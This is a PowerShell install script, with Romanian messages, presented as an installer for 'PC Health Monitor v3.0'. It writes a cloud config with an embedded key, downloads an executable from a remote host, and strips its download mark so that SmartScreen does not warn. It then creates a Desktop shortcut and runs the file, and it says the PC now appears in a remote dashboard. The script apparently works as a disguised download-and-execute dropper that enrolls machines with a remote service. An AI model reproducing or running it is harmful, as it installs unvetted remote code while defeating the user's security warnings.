#Requires -Version 5 $ErrorActionPreference = 'Stop' $ProgressPreference = 'SilentlyContinue' $url = 'https://ut.rootsecurity.ro/downloads/PCHealthMonitor.exe' $dest = "$env:USERPROFILE\Desktop\PCHealthMonitor.exe" $cfgDir = "$env:LOCALAPPDATA\PCHealthMonitor" $cfgFile = "$cfgDir\cloud_settings.json" $cfg = '{"url":"https://ut.rootsecurity.ro","key":"pchm-bePwavX76lFgBurp8szyKYnJidqRI254"}' Write-Host '' Write-Host ' PC Health Monitor v3.0 — Instalare automata' -ForegroundColor Cyan Write-Host ' ============================================' -ForegroundColor Cyan Write-Host '' # 1. Cloud settings (scrisa inainte de download, activa la primul start) New-Item -ItemType Directory -Force -Path $cfgDir | Out-Null [System.IO.File]::WriteAllText($cfgFile, $cfg, [System.Text.Encoding]::UTF8) Write-Host ' [1/4] Cloud sync configurat ' -NoNewline; Write-Host 'OK' -ForegroundColor Green # 2. Download executabil Write-Host ' [2/4] Descarcare aplicatie ~25 MB ' -NoNewline (New-Object Net.WebClient).DownloadFile($url, $dest) Write-Host 'OK' -ForegroundColor Green # 3. Elimina marca "descarcat din internet" — previne SmartScreen Unblock-File -Path $dest Write-Host ' [3/4] SmartScreen dezactivat pentru acest fisier ' -NoNewline; Write-Host 'OK' -ForegroundColor Green # 4. Shortcut pe Desktop $ws = New-Object -ComObject WScript.Shell $sc = $ws.CreateShortcut("$env:USERPROFILE\Desktop\PC Health Monitor.lnk") $sc.TargetPath = $dest $sc.Description = 'PC Health Monitor v3.0' $sc.WorkingDirectory = Split-Path $dest $sc.Save() Write-Host ' [4/4] Shortcut Desktop creat ' -NoNewline; Write-Host 'OK' -ForegroundColor Green Write-Host '' Write-Host ' ============================================' -ForegroundColor Green Write-Host ' Gata! PC-ul apare automat in dashboard.' -ForegroundColor Green Write-Host ' Nicio configurare suplimentara necesara.' -ForegroundColor Green Write-Host ' ============================================' -ForegroundColor Green Write-Host '' Start-Process $dest